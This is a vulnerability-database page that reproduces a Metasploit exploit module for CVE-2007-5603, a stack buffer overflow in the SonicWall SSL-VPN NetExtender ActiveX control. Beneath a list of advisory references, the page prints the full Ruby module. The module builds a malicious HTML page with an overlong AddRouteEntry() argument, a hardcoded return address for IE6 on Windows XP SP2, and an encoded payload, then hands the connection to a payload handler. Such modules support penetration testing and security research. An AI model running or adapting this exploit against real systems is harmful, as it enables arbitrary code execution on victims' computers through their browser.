SonicWALL SSL-VPN - NetExtender ActiveX Control Buffer Overflow (Metasploit)

🗓️ 09 May 2010 00:00:00Reported by MetasploitType

SonicWALL SSL-VPN NetExtender ActiveX Control Buffer Overflo

Reporter	Title	Published	Views	Family All 12
Circl	CVE-2007-5603	9 May 201000:00	–	circl
Check Point Advisories	SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow (CVE-2007-5603)	15 Nov 201100:00	–	checkpoint_advisories
CVE	CVE-2007-5603	5 Nov 200718:00	–	cve
Cvelist	CVE-2007-5603	5 Nov 200718:00	–	cvelist
Metasploit	SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow	1 Nov 200723:15	–	metasploit
NVD	CVE-2007-5603	5 Nov 200718:46	–	nvd
Packet Storm	SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	5 Nov 200718:46	–	prion
Prion	Buffer overflow	5 Nov 200718:46	–	prion
SonicWall	SonicWALL SSL VPN Client Remote ActiveX Multiple Vulnerabilities	5 Nov 200718:46	–	sonicwall

##
# $Id: sonicwall_addrouteentry.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SonicWall SSL-VPN NetExtender.
				By sending an overly long string to the "AddRouteEntry()" method located
				in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-5603'],
					[ 'OSVDB', '39069'],
					[ 'URL', 'http://www.sec-consult.com/303.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'IE 6 / Windows XP SP2 Pro English',     { 'Ret' => 0x7e497c7b } ], # 11/01/07
				],
			'DisclosureDate' => 'Nov 1 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit =  rand_text_english(36) + [target.ret].pack('V')
		sploit << p.encoded + rand_text_english(1024 - p.encoded.length)

		# Build out the message
		content = %Q|<html>
			<object classid='clsid:6EEFD7B1-B26C-440D-B55A-1EC677189F30' id='#{vname}'></object>
			<script language='javascript'>
			var #{vname} = document.getElementById('#{vname}');
			var #{strname} = new String('#{sploit}');
			#{vname}.AddRouteEntry(#{strname}, #{vname});
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

09 May 2010 00:00Current

7High risk

Vulners AI Score7

CVSS 29.3

EPSS0.70322